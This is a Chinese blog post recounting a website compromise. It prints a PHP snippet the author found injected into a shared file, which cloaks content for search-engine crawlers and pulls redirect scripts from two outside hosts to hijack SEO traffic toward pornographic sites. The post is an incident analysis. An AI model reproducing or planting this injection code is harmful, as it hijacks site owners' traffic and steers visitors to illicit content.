之前经历过一次网站被挂马 网站入口文件被劫持(网站被挂马)事件回顾,因为网站使用了 HTTPS 协议,引入外部 js 脚本会产生跨域错误,引入会失败。所以虽然网站入口文件被篡改了,但其通过“挂马”传播“灰产”网站的目的并没有实现。

这一次是后台页面显示不正常,然后线上调试找到了一段 PHP 脚本注入代码:

header("Content-Type: text/html;charset=utf-8");
set_time_limit(0);
error_reporting(0);
$a = 'stristr';
$b = $_SERVER;
define('url', $b['REQUEST_URI']);
define('ref', $b['HTTP_REFERER']);
define('ent', $b['HTTP_USER_AGENT']);
define('site', "http://web.lushan.la:1024/");
define('road', "?road=" . $b['HTTP_HOST'] . url . "&der=" . ent);
define('regs', '@Baidu|Sogou|Yisou|Soso|Haosou|360Spider|So.com|Sm.cn@i');
define('area', $a(url, ".xml") or $a(url, ".doc")
    or $a(url, ".txt") or $a(url, ".ppt") or $a(url, ".xls") or $a(url, ".csv") or $a(url, ".shtml")
    or $a(url, ".docx") or $a(url, ".xlsx") and $a(url, "?"));
if (area && preg_match(regs, ref)) {
    echo gga('http://156.255.207.150/' . '/index.html');
    exit;
}
if (preg_match(regs, ent)) {
    if (area) {
        echo gga(site . road);
        exit;
    } else {
        echo gga(site . "?zz" . road);
        ob_flush();
        flush();
    }
}
function gga($d)
{
    $e = array('http' => array('method' => "GET"));
    $i = stream_context_create($e);
    $j = file_get_contents($d, false, $i);
    if (!empty($j)) {
        return $j;
    }
}

这段代码嵌在一个公共文件的末尾,因为这个公共文件并没有加入到 Git 版本管理中,所以一直以来都没有被发现。

分析了一下发现,这次的 PHP 代码有点不一般。它并有直接跳转到“黄色网站”,而是做了针对性的判断。它只针对搜索引擎进行跳转,正常情况下不起作用。单独访问 http://156.255.207.150/ 或者 http://web.lushan.la:1024/ 域名部分,它会返回一个随机抓取的静态页面内容,而访问拼接后的完整地址则会返回一个 js 脚本,该脚本会嵌入到页面执行,跳转到“黄色”网站或者相关 app 的下载页面。

这是一种隐式传播,它不会更改网站其他的任何内容,但却让搜索引擎产生了深刻印象(劫持流量网站的 SEO 流量),使其单个静态页面也能在较短时间内也能获得一定的权重,有利于用户使用搜索引擎通过关键词搜索访问到目标页面。总的来说,这种方式确实很有效。其主要的工作还是在前期的注入工作中,搜索到肉鸡,然后选择应用,注入到关键文件中。你学废了吗? (ノ°ο°)ノ